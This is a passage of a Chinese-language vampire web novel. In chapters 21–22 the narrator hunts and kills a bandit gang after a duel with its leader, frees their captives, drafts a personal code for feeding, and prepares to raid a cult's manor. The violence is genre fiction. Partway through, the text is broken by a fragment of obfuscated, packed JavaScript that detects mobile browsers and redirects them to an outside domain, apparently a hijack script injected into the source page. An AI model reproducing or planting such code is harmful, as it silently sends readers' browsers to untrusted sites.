我绑好匕首，但没带步枪。如果能避免，我可不想开枪，我们得小心行事。我在黑暗中潜行，像幽灵一般穿梭在树林间。月光透过枝叶的缝隙洒下，形成一片片斑驳的光影，我凭借着敏锐的夜视能力，仔细搜寻着周围的动静。每一丝细微的声响，每一缕陌生的气息，都逃不过我的感知。 一个小时过去了，我没有发现任何可疑的迹象，没有追踪者的身影，也没有异常的气息。看来我们暂时摆脱了危险，于是我决定返回营地。在回去的路上，我回想着这一路的遭遇，那些追逐、战斗的场景在脑海中不断闪过。这次旅程充满了意外和挑战，而宾格尔身上的谜团更是让我心生疑惑。 当我回到营地时，篝火已经微弱，只剩下几星炭火还在闪烁。洛斯和宾格尔都在沉睡，他们疲惫的面容在暗淡的光线下显得更加憔悴。我轻轻地添了些柴火，让火焰重新燃起，然后坐在一旁，继续守夜。 随着夜色渐深，我的思绪也越发飘忽。吸血鬼的身份让我在这趟旅程中拥有了一些特殊的能力，但也带来了许多麻烦。那些被我吸食的人，他们的鲜血虽然给予了我力量，却也让我内心有些复杂。我知道自己必须在生存和道德之间找到平衡，可这并不容易。 不知不觉中，天边泛起了鱼肚白。洛斯和宾格尔陆续醒来，他们看到我平安归来，都松了一口气。洛斯询问我追踪的情况，我告诉他没有发现异常，他点了点头，若有所思。 “也许我们暂时安全了，但不能掉以轻心。”洛斯说道，“我们得继续前进，找到一个更安全的地方。” 宾格尔也表示赞同，他看起来已经恢复了一些精神。我们收拾好营地，准备再次启程。在离开之前，我最后看了一眼这个临时的避难所，心中默默祈祷接下来的旅程能够顺利一些。 我们重新坐上马车，阿斯尼似乎也恢复了一些体力，拉着马车稳步前行。一路上，我们都保持着警惕，留意着周围的动静。森林依旧静谧，偶尔传来几声鸟鸣，打破这份宁静。 随着时间的推移，我们来到了一个小镇。这个小镇看起来有些破旧，但至少能让我们补充一些物资，休息一下。我们把马车停在一家客栈前，洛斯和宾格尔去办理入住手续，我则在一旁照看阿斯尼。 就在这时，一个身影引起了我的注意。那是一个穿着黑色斗篷的人，他站在街道的拐角处，似乎在观察着我们。我心中一紧，警惕起来，这个人会是敌人派来的吗？ 21. 吸血鬼的暗夜猎杀 我迅速沿着来时的路折返。不出所料，就算是个盲人小孩也能追踪到我们的踪迹。半小时后，看到另一处营地升起的袅袅青烟和闪烁的余烬时，我放慢了脚步。 我悄悄靠近，发现这里竟是命运悲惨的“英勇者”队伍的营地废墟。 大多数人都垂头丧气地围坐在篝火旁。他们今天损失了过半人手，很多人都独自坐着，彼此间目光闪躲，不愿交汇。 一个真正由血缘或友情联结的团体，在面对灾难时，会紧紧相依。痛苦和恐惧会激发群体本能，让大家在大难临头时更具凝聚力。但这些人截然不同，他们不过是一群被贪婪和暴力诱惑聚集起来的豺狼虎豹。如今，失败的局面摆在眼前，他们开始因各自的忠诚立场分崩离析。 这群乌合之众甚至都不配被称作“战团”，实在是可悲。 我看到他们的头头和二把手正在对峙。二把手身材魁梧，黑色胡须浓密，一直垂到突出的肚子上，气场十足。头头则坐在一块石头上，手放在军刀的刀柄上。我明白他为什么叫“乌鸦”了，他的夹克、裤子和靴子都是黑色的，就连帽子也是同样的颜色，上面还装饰着乌鸦那闪闪发光的黑色羽毛。 这一幕让我不由自主地回想起半年前清理仓库的场景。 我把注意力拉回到这群人身上。他们派了两个哨兵站岗，我还看到有八个男人，各自沉浸在绝望之中。只有那两个头目还有点威胁，但前提是他们配备了改装过的武器，不过我对此表示怀疑。 我感到很失望，这种情绪让我有些担忧。我深知在这个世界上生存需要什么，从洛斯借给我的书里我也了解到，很多时候，胜利早在战斗打响之前就已注定。可即便如此，我还是满心沮丧。 我渴望挑战，想要在危险的边缘游走。我希望有一场酣畅淋漓的猎杀，这样当我打败对手时，他们的鲜血才会更加甘美。 我想起娜米让我吸食她的鲜血时的表情，她也在追求那种刺激。难道我也变成了一个自负虚荣的家伙？ 我曾经看不起加斯帕德，他因为傲慢自大，被我的主人打败。现在我担心，这种对危险的渴望会让我做出一些不理智的冒险举动。 不过，适当的冒险也有好处。在经历“生死挑战”时，我作为吸血鬼学到了很多关于战斗的技巧。那时，失败意味着付出代价，所以我全力以赴。 就连洛斯，尽管年事已高，也依旧会冒险。我觉得就算是一颗子弹射进他的脑袋，也未必能要了他的命，但战斗对他来说，依旧存在风险。 可他还是会去冒险。 或许，这就是能长久存活，真正“活着”的秘诀吧。 我现在要给自己定些规则。只有在我确信自己至少能全身而退的时候，才会去挑战自我。 没错，这听起来很合理。之后我还是要问问洛斯的意见，他活了这么久，肯定有自己的准则。 我用了一个屡试不爽的方法，等第一个哨兵走出视线范围，就悄无声息地解决了他。营地里没有人察觉到异常。 自从和图桑特那晚之后，我第一次面对这么多鲜血，多到我根本喝不完。 这次我可不能喝得酩酊大醉，于是决定试试“吞噬”他的鲜血。虽然这样获得的生命力可能只有正常吸食的一小部分，但速度更快，还不会让我沉醉其中，能让我保持清醒和自控。这确实是快速恢复体力的最佳办法。 现在就动手。 我将八颗獠牙刺入他的颈动脉，用力一扯。这比上次要困难得多，我体内那个“捕食者”的部分还没有完全“苏醒”。这里有这么多猎物，简直就是狩猎场，他们就像待宰的牲畜…… 等等，牲畜？ 我嗅了嗅空气中的味道，在帐篷附近，有一股未洗澡的女人的气味。 难道是…… “你干脆出来吧！” 我把目光转向站在空地中央的“乌鸦”，其他人都像看疯子一样盯着他。 “彼得一分钟前悄无声息地消失了，而且我们的伤亡不可能只归咎于那两个人。更何况，这一切都发生在夜里。我知道是怎么回事，我知道你就在附近。出来吧，让我看看，是谁要取我性命。有种你就出来！” 哦？这可有意思了。 “是吗，小鸟儿……” 我的声音清晰地响起，他们吓得跳了起来，徒劳地挥舞着武器。 真是一群没用的家伙。 我把武器收起来，从容地走到空地中央。我知道自己现在的模样：穿着旅行裙的年轻女子，青春、清新又无辜，皮肤白皙，一看就是没干过粗活的人。 这和他们想象中的威胁形象完全不符。我看起来毫无威胁，可他们又知道我是个危险人物。他们对世界的固有认知会让他们轻视我，直到一切都为时已晚。这就是吸血鬼的优势。 尽管“乌鸦”刚才气势汹汹，但此刻他紧张地咽了咽口水，就像一个小男孩威胁床底下的怪物出来，结果却发现有东西在扯他的床单。 你召唤了黑夜，而黑夜回应了你。 我用食指轻轻敲着下巴，这次不再隐藏自己的身份。爪子和獠牙都露了出来，也不再假装呼吸或是闭眼。 “我很好奇，小鸟儿，你觉得现在会发生什么？嗯？一场英勇的战斗？” “乌鸦”又咽了咽口水，故作镇定地反驳道：“没错，事实上，我要向你挑战一场决斗。” 他的宣告中透着一丝绝望，就像一个溺水的人，死死抓住最后一根救命稻草。 “我为什么要接受？” “为什么不？你是害怕了吗？” 我迅速转身，划破了那个从背后持刀靠近我的人的喉咙。我听到了金属摩擦皮革的声音，看到了其他人强装镇定移开视线的表情，也闻到了他身上的汗水和恐惧的味道。 我瞬间完成转身动作，一切又恢复如初，只有鲜血从我的爪子上滴落。我听到鲜血溅落在地上的声音，还有濒死之人的挣扎声。 我若无其事地继续说道：“我真的害怕吗？还是说，我只是觉得没必要答应你的请求？反正你都会和我战斗，或者说，你会试着和我战斗。我为什么要和你进行一场正式的决斗？” “打赌！” “哦？” 我几乎能看到他脑袋里的齿轮在飞速转动，拼命寻找摆脱困境的办法。 “我有情报。我知道你在找那个女孩，你以为能从我的日记里找到线索，但你不会得逞的。日记是加密的。” “不管你想出什么密码，我的朋友都能在二十秒内破解。” 他摇了摇头。 “不是那种密码。我写的都是类似‘今天闻到了草莓味’这种话，实际上这代表我在想我的妹妹。” 他说着，脸都红了。哈，这个看起来冷酷又深沉的“乌鸦”，居然会想着妹妹。 “这没用的。有些事我没写下来，也没法写，因为太荒唐了。我知道她到底是谁，她真正的目的是什么，我还知道我把她卖到了哪里，卖给了谁。” “那你想要什么作为交换？” “如果我能和你好好打一场，你就放过我的手下。” 空地上瞬间安静下来，安静到掉根针都能听见。 “我们进行对决，直到见血为止。每次我受伤流血，你就可以选一个人，我保证不会猎杀他，让他平安度过今晚。每次你受伤流血，你就得告诉我一些我想知道的事。要是我不满意，或者你说得太敷衍，我就当你没什么可说的了，然后杀了你。在决斗过程中，我不会使用超能力，只用身体和武器。” “成交！” “那就开始吧。” 我朝他扑了过去，他慌乱地抽出武器，试图在同一时间砍向我。我已经习惯了这种攻击方式，能预判出他的刀会砍向哪里。我用自己的刀轻松挡下，然后用左手刺向他的肩膀，没有刺得太深，也避开了他的惯用手，不然就不公平了。 “啊啊啊！见鬼！” “说吧。” “啊，好吧，好吧！那个女人，她不是她说的那样。她带着一些奇怪的戒指和德语文件。我们抓住她的时候，她说她为‘继承人秩序’工作，我也不知道这是什么意思。她说那是一个很强大的秘密组织。我本来觉得这是胡言乱语，但我又懂什么呢。” 哼，看来每个人都在利用可怜的塞西尔。算了，我才不在乎呢。只要她不威胁到我，就算她自称是中国皇室成员，我也无所谓。至于这个组织，短期内他们在这里不可能有多大势力，不会对我造成威胁。就算这一切都是真的，那也是以后才要操心的事。 我重新摆好防御姿势，我们开始绕着对方转圈。“乌鸦”小心翼翼地试探我的防御，我尽量少动，等他一个假动作使过了头，我向前一跃，用刀的护手挡住了他的军刀。我们的刀刃交错，我轻松抓住他的左手，让他无法动弹，然后用手指戳向他的手腕，他藏在手里的匕首掉落在地。 “啊，该死！” “说。” “乌鸦”的额头开始冒出冷汗，肩膀和袖子上的伤口处颜色更深了，鲜血渗透出来。 他的气味很诱人，混合着战斗的欲望和面对死亡时的勇气。还好我现在已经饱了，不然要克制吸血的欲望可不容易。 “我们把那个女人卖给了阿巴拉契亚山脉最南端的一些疯狂团体。那些人都是近亲繁殖的白痴，崇拜着一些奇奇怪怪的东西。全是些异教徒和疯子。” “具体在哪里？” “嘿，得了吧，我……” “在哪里？” “他……骑马向北走四天的路程。他们有一座很怪异的庄园，涂成了红白相间的颜色。你去了肯定会以为到了格洛斯特郡呢。” “嗯。” 我们又回到防御状态，这次“乌鸦”全力进攻。我借此机会，尽量少移动身体躲避他的攻击，同时观察他的身体动作，预测他的下一步行动。但这场战斗变得越来越艰难，他那把重型骑兵军刀在快速交锋时是个累赘，可现在它的重量和威力却让我很难挡开和躲避。这场交锋持续了很长时间，三十秒、四十秒，他丝毫没有放松的意思。 到了五十秒的时候，他体力不支，在泥泞的地上滑了一下。我向前一冲，但他却出乎我的意料，没有试图稳住身体，而是双手挥刀向我砍来。我用左手爪子挡住，就在要刺向他肋骨的时候停住了。 我们僵持了一秒，我看着他惊恐的眼睛。 人类眨眼的频率可真高。 我站起身，检查我的左手，他的刀刃卡在我的两根爪子之间，划破了我的手指。伤口已经愈合了，但…… “选一个人吧。” “什么？” “你让我流血了，选一个人让他活命。” “道尔顿。” 他刚说出这个名字，我就听到身后传来一声尖叫。我转身看去，那个大胡子男人掏出一把枪，瞄准了一个坐在旁边、满脸惊恐的年轻人。 啧啧啧，我可不会让别人坏了我的好事。我迅速行动。 我用左手的手指狠狠刺进大胡子男人的胸口，他痛苦地喘息着，枪也掉在了地上。 哦哦哦！什么情况？好痛啊！我感觉有两根手指骨折了！肋骨怎么这么硬啊？主人把整只手插进别人胸口的时候，看起来可轻松了！这是怎么做到的？ 我抽出了手，大胡子男人一声不吭地倒了下去，我再次看向“乌鸦”，努力让自己的表情保持平静。 好痛好痛好痛……啊！该死！必须集中注意力。 “乌鸦”警惕地看着我，我再次摆好防御姿势，我们继续战斗。 我能看出他越来越疲惫了，已经过了午夜很久，他经历了漫长的一天，还受了伤。 “乌鸦”有个战斗模式，每次交锋结束时，他喜欢向上挥刀击打对手的武器，然后立刻向下猛砍，同时向前冲，趁对手还没反应过来就发动攻击。对那些实力较弱的对手，这招可能很管用，尤其是他那把军刀那么重。 但对我来说，这招毫无用处。 下一次他再这样做的时候，我在他回刀的瞬间，用力击打他的刀刃，然后突破他的防御，在他胸口划了一道浅浅的伤口。 “啊！” 这场悲剧已经接近尾声，其他人也能感觉到。我察觉到了一些微妙的眼神交流，还听到了脚步声。我转身看去，一个戴着草帽、浑身脏兮兮的男人，此时已经比刚才更靠近树林边缘了。 “你敢跑，我就先杀了你。” 那个人停住了脚步。这给了我一点时间，让我可以结束这场战斗。 “说。” “我，嗯……那个邪教组织，他们一直在抓人，也不知道要干什么。” 抓人，哼。我知道他们抓的都是些什么人。 “这没什么用。告诉我你是怎么知道我身份的。” “是……是邪教的头目。我把那个女人卖给他的时候，他说你是吸血鬼。他说你们在囤积力量，还说他要靠自己达成目的，然后和他的追随者分享成果。” “嗯。” 我回到空地中央，等“乌鸦”也过来。他刚一就位，就朝我冲了过来，而他的那些手下则转身四散而逃。 我站在原地没有动。“乌鸦”看到手下逃跑，绝望地大喊一声，更加疯狂地向我冲来。 了不起！不过，我对这个狡猾的强盗本来就没抱什么期望。我挥动左臂，片刻之后，“乌鸦”踉跄着倒下了，他难以置信地盯着插在胸口的飞刀。过去六个月的训练，我可没有白费功夫。 “我早就说过，只用武器，我可没食言。” 我追着那些逃跑的强盗，一个接一个地“吞噬”他们。在黑暗中，他们行动迟缓，还弄出很大动静。我干净利落地解决了他们，让他们免受痛苦。 当我回到空地时，只剩下“乌鸦”和那个年轻的道尔顿还活着。 “事情不该是这样的……我们本应是冒险家，是英雄……就像古代的骑士一样。”这位倒下的首领声音虚弱地说道。 我跨坐在“乌鸦”身上，任由头发垂落在他脸上。他的身体很温暖，身上的气息也很迷人。这场猎杀很值得，这样的结局再完美不过了。 “英雄？你说你们是英雄？英雄会袭击路人吗？会把女人当□□吗？” “她们是本地人，又不是白人妇女……” “她们就是□□。她们的身份改变不了你们的所作所为。” “你一个怪物，还好意思说别人……” “啊，但我清楚自己是什么。我也知道是谁在为你说的那个怪异庄园抓人，也知道你为什么那么急着把那个女人卖给他们。‘乌鸦’，你堕落得比大多数人都深。现在，还有什么遗言吗？” “乌鸦”用带血的牙齿对我露出最后一丝微笑，直到最后都还在反抗。我喜欢这样。 “地狱见。” 呵。 “永别了，人类，这场猎杀很过瘾。” 结束之后，我站起身，看着眼前的一片狼藉。 尸体横七竖八地躺在空地上，周围是破碎的帐篷和被践踏的个人物品。这场屠杀的唯一幸存者正跪在地上，双手抱头。我暂时没有理会他。 我走向最大的那顶帐篷，掀开帘子。里面弥漫着一股未洗澡的刺鼻气味，但我还是忍着走了进去。 两个年轻女子用惊恐的眼神盯着我。其中一个气得浑身发抖，另一个则躲在她身后瑟瑟发抖。她们穿着破旧肮脏的破布，黑色的头发又脏又乱，结成了一团。 我走近时，那个看起来更强壮的女子低声咆哮着，嘴里还骂骂咧咧。 嗯。 我退了出来，捡起一把剥皮刀，回到帐篷里，把刀放在她们脚下，然后就离开了。 “乌鸦”之前用一个矮凳坐着，我把它扶正，在篝火旁坐下。 我需要好好思考一下。 我为什么要接受这场挑战？为什么杀了这些男人，却放过了他们的俘虏？我该怎么处置道尔顿？是遵守约定的精神放他走，还是严格按照约定，确保他在到达定居点之前就死掉？我来到这里，是因为宾格尔那荒谬的叙事力量吗？我所了解到的这些信息，对我们的任务继续推进真的至关重要吗？ 那两个本地女人在营地里跌跌撞撞地走着，一边用她们的语言哭喊着，一边踢着、吐着地上的尸体，我没有理会她们。 我接受挑战，是因为我觉得这是正确的。给他们一个机会，让他们去争取点什么，而不是像屠宰牲畜一样把他们杀掉，这才是正确的做法。而且，这也让这场猎杀更加有趣。 又是“猎杀”这个概念。这肯定和我血管里被污染的血液有关。我活着的时候，从没想过“猎杀”的意义。我是不是应该停止这种想法？它会不会像盲目自信害死加斯帕德那样，把我也害死？ 我觉得不会。“乌鸦”的血既美味又比我想象中更有力量，这不是因为他本身，而是因为获取鲜血的方式。尊重“猎杀”的规则，并且赢得胜利，让我变得更强，也让我感觉自己更有活力。这场对决让我全力以赴，而不是凭借压倒性的力量去夺取。就像自愿奉献鲜血的人，他们的血比那些“牲畜”的血更甜美。 没错，我知道自己是对的。我我会尊重猎物，相应地，这会让我更强、更有耐心且更加谨慎。挑战会让我时刻谨记自身的极限，提醒我永远不要轻视凡人，就像“乌鸦”划破我手指时，让我意识到自己的技巧并非完美无缺。 如果遇到本身就极具挑战性的情况，那我无需给自己设限，而是会动用一切手段去获取胜利。 没错，理应如此。这红色的琼浆需要靠努力去赢得，我绝不能忘记这一点。 现在来考虑下一个问题。 该放过谁，又为何放过？洛斯说得对，规则和准则是构建任何一个健全社会的基石。作为这片区域唯一的吸血鬼，我需要制定这些规则，并靠自己去遵守执行。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15054928|162875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >我现在要制定基本规则，就如同二十多年前大陆会议制定宪法一样。 那些我视为朋友的人、与我签订契约或立下誓言的人、正在与我谈判的人，以及年幼之人，未经他们明确同意，我绝不能伤害他们。这其中也包括主动奉献鲜血之人。 与我没有关联的人，我可以吸食他们的血液，但不能杀他们，也不能奴役他们。 那些因伤害弱小猎物而亵渎“猎杀”规则的人、违背对他人誓言的人，以及我受雇抓捕的人，我可以吸食他们的血、折磨并奴役他们，但不会取其性命。 那些背叛我和我身边人的人、为谋取私利而夺取他人生命的人，以及践踏女性尊严的人，都是我可以随意处置的对象。这些规则适用于我认定为敌的群体，但不包括他们的亲属。 那些因自身存在而威胁到我的人，以及虽试图杀我但尊重“猎杀”精神的人，我可以吸食他们的血并杀了他们，但不会折磨或奴役他们。 最重要的是，我必须信守承诺，保护好自己和我在乎的人。 没错，这样感觉才对。至少目前，我会遵守这些规则。如果有必要，以后我也会根据情况进行调整。 我把注意力拉回到当下。那个男孩还待在原地，那两个本地女人一边清洗着自己，一边警惕地看着躺在地上的道尔顿。个子较高的那个女人，正若有所思地轻抚着手中的刀。 我开始收集物资。我心里清楚要怎么处置这个男孩，而且我不希望有任何人看到。 我准备了两个沉重的背包，然后走向那两个女人。因为她们既不会说英语、法语，也不会说西班牙语，沟通变得异常困难，不过这也不能怪她们。我又是打手势又是指来指去，费了好大劲，她们才明白我是让她们带上马匹和食物离开，但她们拒绝了。她们好几次指着天空和篝火，这时我才想起来，现在正值深夜，这个时候赶路确实不太明智。 我已经吃饱了，她们对我也没有威胁，所以我决定随她们去。我抓住男孩的胳膊肘，把他拖到树林里。他没有反抗。 “你能听懂我的话吗？” 他点了点头。 “今晚你在我这儿是安全的，但仅限今晚。” 男孩抬起头看着我。和其他强盗一样，他穿着拼凑起来的农家和旅行服饰，质地简单却很结实。他的棕色背心对他来说太大了。我猜他大概十六岁左右，可能是这群人里最年轻的。 我和他那双比我还淡的蓝色眼睛对视着，他的眼睛又大又有神，有一种奇特的吸引力。即便我的目光移到他身体的其他部位，最后还是会被他的眼睛吸引回来。他带着一种孩子般的好奇看着我，虽然我能闻到他身上的恐惧，但并没有我想象中那么浓烈。 我不想杀他，我觉得他对我没有威胁，他给我的感觉也不像个危险人物。 “如果你对今晚的事，对我，绝口不提，我就放了你。你同意吗？” 男孩真的思考了一会儿，然后才又点了点头表示同意。 “发誓。” “我不会背叛你，我发誓。” “很好，现在我要检验下你的誓言。” 我抓住他没有反抗的胳膊，咬了一口，然后紧紧盯着他的眼睛。 “你打算背叛我吗？” “不，永远不会。” 回答得很快。按照我的规则，如果我觉得他是个威胁，就可以杀了他。但我不这么认为。他也不是我的朋友，所以我可以吸食他的血，但不能再伤害他。 可我现在并不想吸血。 算了，不说了，时间也不早了。 “好吧，你可以走了，想去哪儿都行。记住你发的誓，要是你违背誓言，就算有人相信你的话，追杀你的也不止我一个。” “我不会背叛你的。” 这男孩的反应有些奇怪，他该不会是智力有问题吧？这或许能解释为什么“乌鸦”会选他活下来，他可能是这群人里最不应该死的。 “你最好现在就离开这个营地，我觉得那些之前被你们囚禁的人，不会轻易原谅你对他们做的事。” “我知道该去哪儿。” 他回答得还是那么笃定。这年轻男孩肯定有什么问题，他对现在的状况接受得也太坦然了。他会不会在隐瞒自己的真实身份？不，我咬他的时候，能隐约感觉到他的本质，毫无疑问，他只是个凡人。 算了，这也不重要了。我已经耽搁太久了。 我确认身上带好了所有武器，然后迅速离开了这个地方。回去的路快多了，因为我不用再寻找营地，也不用刻意隐藏自己的行踪。离开两小时后，我很快就看到了那熟悉的篝火光亮。 回到营地时，我察觉到空气中有一丝魔法的气息。我不在的时候，洛斯也没闲着。 我穿过魔法的界限，引发了一阵轻微的铃声。我听到有人从睡梦中醒来，顺着声音找到了略显疲惫的洛斯。他示意了下宾格尔，我们离开即将熄灭的篝火旁，以免吵醒宾格尔，然后开始讨论今晚发生的事。 我把所有事情都告诉了他，包括我的发现、制定的道德准则，还有道尔顿的处理结果。 “嗯，阿里，你喝醉了吗？” “啊？嗯，也许吧？你怎么看出来的？” “你有点走神，而且比平时更爱思考了。我在波士顿的时候，康斯坦丁在一场猎杀之后，也有过类似的状态。不管怎么说，我得为你今晚的表现祝贺，干得漂亮。” “你真这么觉得？” “你清除了威胁，没留下任何危险的幸存者，还得到了我们想要的信息。现在你也平安回来了。老天，真希望我之前的行动都能这么顺利。” “没错，现在我们得想想接下来该怎么做。” “这还用想吗？我们向北骑行，去铲除那些疯子，把那个女孩救回来，如果她还活着的话。不过我觉得希望不大，你想啊，那些买人的奇怪邪教，可不会让俘虏活太久。” “我不太喜欢这个计划。我们现在对情况一无所知，就这样盲目行动，可能会很危险。难道没有其他组织能去处理这件事吗？” “有啊，姑娘，那就是我们！方圆百里内，我们俩是最强大的，保卫这片领地是我们的责任。哈哈，老天，你有时候还真是像个凡人。你难道指望宪兵队或者民兵来猎杀怪物？” “呃，我不是指望他们，我是说那些超自然的同类？我以为加百利骑士团或者吸血鬼骑士小队会负责处理这些怪异的组织。” 洛斯沉默地看着我片刻，气氛变得有些凝重。一种无形的压力让我忍不住想避开他的目光，这让我想起洛斯·斯科拉格究竟是怎样一个人。他可不是什么温文尔雅的绅士和学者，而是一个拥有渊博魔法知识的古老存在，双手沾满了鲜血。我想起我们一起战斗的场景，那个宛如沉默巨人般的他，身着冰冷的铠甲，在人群中一路砍杀，不管敌人是反抗还是求饶，他都没有停下，也没有丝毫退缩，想到这儿，我不禁打了个寒颤。 “姑娘，这是我们的领地，不需要那些蠢货来替我们保护它。这里不是人类的世界，你不能指望依靠什么机构和法律。对我们来说，能得到并守住的东西才是我们的，这点你可千万别忘了。再说了，我也绝不容许那些狂热的杂种踏入这片土地。” 洛斯闭上眼睛，揉了揉高挺的鼻梁。 “唉，听我唠叨得像个老头似的。我不是想责怪你，姑娘。有时候你表现得太像个成熟的吸血鬼了，我都忘了你还这么年轻。至于骑士小队，你还不了解情况。” 他坐下来，双手交叠，摆出一副要讲课的架势，我也舒服地坐好。 “我之前说过他们会在超自然问题失控前解决掉，但没跟你详细说。吸血鬼是很稀有的种族，你们领地意识很强，还很傲慢。在一座大城市里，你很少能见到超过十五个吸血鬼，而且他们都由少数几个吸血鬼大师庇护着。吸血鬼能处于等级顶端，就是因为每个大师都无比强大。骑士小队是由身经百战的大师组成的战斗团体，专门负责处理战斗。这样的小队没几个，但你要知道，一旦他们被派往某个地方，问题肯定能得到彻底解决。” “但问题是，他们总是很忙。只有当邪教组织彻底失控，开始召唤来自异世界的恐怖存在时，他们才会到这儿来。” “他们……他们真能做到召唤异世界的东西？！” “是的，这种情况有可能发生，但我们不会让事情发展到那一步的，别担心。” “我明白了。所以只能靠我们自己了。好吧，我不会让你失望的。” “我知道我能信得过你。好了，明天还有艰巨的任务，我得去睡会儿了。” 洛斯躺了下去，五分钟后，我就听到他和宾格尔的呼噜声，此起彼伏，就像两支号角在演奏二重奏。要是我还是个凡人女子，想睡觉的话，估计现在都想用枕头把他们闷死了。 我拿出关于古代语言的笔记本，趁着夜晚即将结束的这段时间复习起来。 22. 庄园诡影 我把吃甜点用的勺子放回空盘子，双手搭在圆滚滚的肚子上。 “孩子们去哪儿了？”阿喀琉斯微笑着问道。 “我的还是你的？” “两个都算。” “他们在外面。罗杰在照看他们，别担心。” “那就好。我想让你见个人。” “真的吗？这个时候？” “你已经认识他了。” 一个年轻人走进餐厅。他的穿着与这场合实在不搭！瞧他那模样，活脱脱就是个给师傅跑腿的学徒！ “我之前确实就是干这个的。” 嗯？我仔细一看，发现他脸色有点苍白，那张稚气未脱的脸上，是泪痕吗？ “在你杀我的时候，我就是在给人跑腿。他们抓住我，把我拖到你面前。那时你刚变成怪物，还没成为如今这般心狠手辣的杀人凶手。” “我们本可以生儿育女，组建一个有血有肉的家庭，而不是像你现在这样，还抱着那些可悲的幻想不放。”我左边传来一个声音。我认出他了，他是佩里神父的儿子。我的爪子紧紧抓住桌子边缘，如今身形恢复苗条，我微微向前倾了倾身。 “没错！” “说得好！” 餐厅里满是叫嚷和抱怨的男人。我认出了一些人，有的是我当执行者时见过的，有的是我在遇到娜美的庄园里见过的，还有在“挑战之地”遇到过的。 “我们本可以成就更多！” 阿喀琉斯握住我的手。 “你永远无法创造生命。你只会让世界变得更糟，而不是更好。你的存在本身就是……” “闭嘴。” 我拿起一把刀，刺向他的手腕。他的肉像瓷器一样裂开，硬邦邦的。我盯着他那双如黑夜般深邃的眼睛，此刻正布满裂痕。众人像一群盯着受伤小鹿的猎犬一样，把目光全都集中在我身上。 但我可不是受伤的小鹿。 “我把你们的精魂都吞噬殆尽，就凭你们这群愚蠢的乌合之众，还想阻止我？” 夜幕降临，外面烤食物的香味被潮湿泥土和木柴燃烧的烟味取代。有什么东西在刮擦餐厅的墙壁，那东西体型巨大，浑身是刺。天花板破裂，几缕邪恶的紫色光芒照在洁白的床单和豪华的椅子上。 “你们可不是什么狩猎队伍，不过是我沿途丢弃的、精疲力竭的猎物罢了。” “你不可能把我们都拦住。”克罗说。 我站起身，脚下的木板发出嘎吱嘎吱的声响，仿佛不堪重负。 “我已经做到了。” 我在熟悉的黑暗中醒来。好吧，这……有点不一样。我原以为噩梦的结局只有死亡，没想到这次的噩梦不再是对过去经历的重新演绎，而是指向了一些可能发生的事情。 不过，现在可不是反省的时候。我闭上眼睛，集中精力倾听。这是我新想出的防范措施。我们身处敌境，谁也不能保证马车不会落入敌人手中。在暴露自己之前，我得先看看周围有没有人。 有了，有心跳声。就在石棺旁边。我感到脑海中有一股拉扯的感觉，那心跳声也变得愈发急促。我无奈地叹了口气，打开了石棺。 我推开石棺门，心里已经有些恼火。 “我感觉自己一直在白费口舌，但你真的该离开了。” “好的。” “好的？” “是的，女主人，您确实是在白费口舌。” 我用爪子轻轻敲了敲我的“避难所”边缘，敲击声和外面的雨声交织在一起。道尔顿那双大眼睛里没有一丝嘲讽的意味。他就站在那里，我都不知道该怎么形容他。 “我们两小时内就能到达那座庄园。宾格尔先生说，这场大雨能帮我们伪装成遭遇困境的旅人。德莱尼先生建议您穿上那件蓝色连衣裙。” 蓝色连衣裙是正装。我为什么要穿正装？我们为什么不趁着夜色和大雨的掩护，直接冲进去大开杀戒呢？我们早就确定这些邪教徒绑架了很多无辜的人。 就像兰卡斯特家族干的那些事一样。 好吧，我承认我有点虚伪。这么说吧，作为这片土地上的吸血鬼，我保留大规模绑架无辜者、把他们献祭给黑暗力量（在这种情况下，就是我自己）的特权。现在，这些邪教徒就是我们的敌人，他们所有人都死不足惜。 这次冒险真是快把我的耐心消磨殆尽了。道尔顿离开后，我迅速整理了一下自己，梳了梳头发，最后打开了隔开马车内部和车夫座位的缝隙。 “先生们。” “晚上好，阿丽亚娜小姐，希望您一切安好？” “我挺好的，宾格尔先生，谢谢。不过，我不太认同你们主动暴露自己的计划！那些歹徒习惯抓人，他们怎么可能不抓住机会把我们都锁起来？” “您是不是更倾向于直接找到弗洛拉，然后逃走？” 其实，我原本打算把所有人都杀光，再放火烧了这里。 “那样似乎更稳妥些。” “确实，我明白您心地善良，阿丽亚娜小姐。说真的，您太纯洁了，不适合这个世界。您说得很有道理，但有两个重要因素不得不考虑。第一，我们不知道他们抓了多少囚犯，我猜数量肯定不少！我们还得弄清楚他们的险恶目的！” 我觉得囚犯没他想的那么多，至少活着的没那么多。 “第二，我了解那些策划这种可怕阴谋的人。他们都是些爱慕虚荣的家伙，急于展示自己和自己所谓的非凡之处……” 看看这是谁在说话呢。 “所以，他们肯定想展示自己有多厉害，也想知道我们是怎么找到这里的。我觉得我们就该让他们知道！今晚就让他们知道！他们会为今天的所作所为后悔的……” 我没再听他后面的长篇大论。我现在很渴。昨天，我好不容易从一个乔克托族旅行者身上吸了点血，他离开帐篷去解决生理需求，我等了两个小时他才出来。他因为低温身体很虚弱，我从他身上获取的生命力并不多。今晚我可要好好饱餐一顿了。 口渴的感觉突然袭来，我感觉自己的獠牙都露了出来，脑海中又有什么东西在拉扯。一双冰冷的大眼睛出现在缝隙处。 “您没事吧，小姐？” 他眼中的邀请意味很明显。他主动向我献上自己，献上他的鲜血。我本应该接受，但不知为何，我心里有些抵触。是他选择了我，而不是我选择他。他选择我，不是以祈求者的身份，而是出于别的什么原因。我失去了主导权。我才应该是那个选择吸血对象的人。一个人愿意侍奉我这样的怪物，这太不正常了。所有人都应该想杀了我，因为我以他们为食。这不符合常理，对吧？ 宾格尔中断了他那些关于复仇和正义的誓言，转而表达对我的关心。 “阿丽亚娜小姐，请别害怕。我知道您厌恶暴力，但这不是我第一次冒险，我会用生命保护您！” 你这个蠢货，这种话你也敢说？你能预测子弹的轨迹吗？你能在爆炸产生致命弹片前阻止它吗？你能阻止主人……够了，别再想这些了。 